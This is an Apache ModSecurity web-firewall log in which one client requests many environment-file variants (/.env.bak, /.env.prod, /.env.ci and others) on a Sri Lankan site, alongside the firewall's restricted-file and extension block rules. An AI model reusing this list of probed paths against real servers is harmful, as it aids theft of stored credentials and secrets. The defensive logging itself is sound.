[Fri Jul 17 09:25:51.737048 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.remote"] [unique_id "almnx4l9vhFBGA6D8l9_lAAAAAw"]
[Fri Jul 17 09:25:51.737452 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.remote"] [unique_id "almnx4l9vhFBGA6D8l9_lAAAAAw"]
[Fri Jul 17 09:25:51.893399 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnx614q1EBnanVMYGpXAAAAAk"]
[Fri Jul 17 09:25:51.903764 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/.env.bak"] [unique_id "almnx1CBpfuYyhJ140vYBgAAAB4"]
[Fri Jul 17 09:25:51.903932 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.bak"] [unique_id "almnx1CBpfuYyhJ140vYBgAAAB4"]
[Fri Jul 17 09:25:51.904239 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.bak"] [unique_id "almnx1CBpfuYyhJ140vYBgAAAB4"]
[Fri Jul 17 09:25:51.904636 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.bak"] [unique_id "almnx1CBpfuYyhJ140vYBgAAAB4"]
[Fri Jul 17 09:25:52.064054 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/.env.backup"] [unique_id "almnyIl9vhFBGA6D8l9_lQAAAAw"]
[Fri Jul 17 09:25:52.064352 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.backup"] [unique_id "almnyIl9vhFBGA6D8l9_lQAAAAw"]
[Fri Jul 17 09:25:52.064712 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.backup"] [unique_id "almnyIl9vhFBGA6D8l9_lQAAAAw"]
[Fri Jul 17 09:25:52.065197 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.backup"] [unique_id "almnyIl9vhFBGA6D8l9_lQAAAAw"]
[Fri Jul 17 09:25:52.232710 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.save"] [unique_id "almnyBHlOGcokz2QIwTYoQAAAAM"]
[Fri Jul 17 09:25:52.232994 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.save"] [unique_id "almnyBHlOGcokz2QIwTYoQAAAAM"]
[Fri Jul 17 09:25:52.233386 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.save"] [unique_id "almnyBHlOGcokz2QIwTYoQAAAAM"]
[Fri Jul 17 09:25:52.413244 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/.env.old"] [unique_id "almnyFCBpfuYyhJ140vYBwAAAB4"]
[Fri Jul 17 09:25:52.413431 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.old"] [unique_id "almnyFCBpfuYyhJ140vYBwAAAB4"]
[Fri Jul 17 09:25:52.413700 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.old"] [unique_id "almnyFCBpfuYyhJ140vYBwAAAB4"]
[Fri Jul 17 09:25:52.414067 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.old"] [unique_id "almnyFCBpfuYyhJ140vYBwAAAB4"]
[Fri Jul 17 09:25:52.576670 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.sample"] [unique_id "almnyEkXT4NBqALj2laCWwAAABA"]
[Fri Jul 17 09:25:52.576971 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.sample"] [unique_id "almnyEkXT4NBqALj2laCWwAAABA"]
[Fri Jul 17 09:25:52.577393 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.sample"] [unique_id "almnyEkXT4NBqALj2laCWwAAABA"]
[Fri Jul 17 09:25:52.771988 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.example"] [unique_id "almnyJBVIrrUwtEhdafWbwAAAAU"]
[Fri Jul 17 09:25:52.772249 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.example"] [unique_id "almnyJBVIrrUwtEhdafWbwAAAAU"]
[Fri Jul 17 09:25:52.772712 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.example"] [unique_id "almnyJBVIrrUwtEhdafWbwAAAAU"]
[Fri Jul 17 09:25:52.937168 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.dev"] [unique_id "almnyFCBpfuYyhJ140vYCAAAAB4"]
[Fri Jul 17 09:25:52.937470 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.dev"] [unique_id "almnyFCBpfuYyhJ140vYCAAAAB4"]
[Fri Jul 17 09:25:52.937967 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.dev"] [unique_id "almnyFCBpfuYyhJ140vYCAAAAB4"]
[Fri Jul 17 09:25:53.106668 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.prod"] [unique_id "almnyY1dLClkUfK_dfHqRAAAAAI"]
[Fri Jul 17 09:25:53.106947 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.prod"] [unique_id "almnyY1dLClkUfK_dfHqRAAAAAI"]
[Fri Jul 17 09:25:53.107348 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.prod"] [unique_id "almnyY1dLClkUfK_dfHqRAAAAAI"]
[Fri Jul 17 09:25:53.199902 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/dell-laptop-and-notebook"] [unique_id "almnybEKozcCJ-ReuK0IXQAAAAg"]
[Fri Jul 17 09:25:53.200052 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/dell-laptop-and-notebook"] [unique_id "almnybEKozcCJ-ReuK0IXQAAAAg"]
[Fri Jul 17 09:25:53.200367 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/dell-laptop-and-notebook"] [unique_id "almnybEKozcCJ-ReuK0IXQAAAAg"]
[Fri Jul 17 09:25:53.273365 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.stage"] [unique_id "almnyfwooI4qY7Jg93pavQAAABM"]
[Fri Jul 17 09:25:53.273648 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.stage"] [unique_id "almnyfwooI4qY7Jg93pavQAAABM"]
[Fri Jul 17 09:25:53.274025 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.stage"] [unique_id "almnyfwooI4qY7Jg93pavQAAABM"]
[Fri Jul 17 09:25:53.393184 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnybEKozcCJ-ReuK0IXQAAAAg"]
[Fri Jul 17 09:25:53.430787 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.ci"] [unique_id "almnyVh1WDijTxd1xw5RtwAAAAc"]
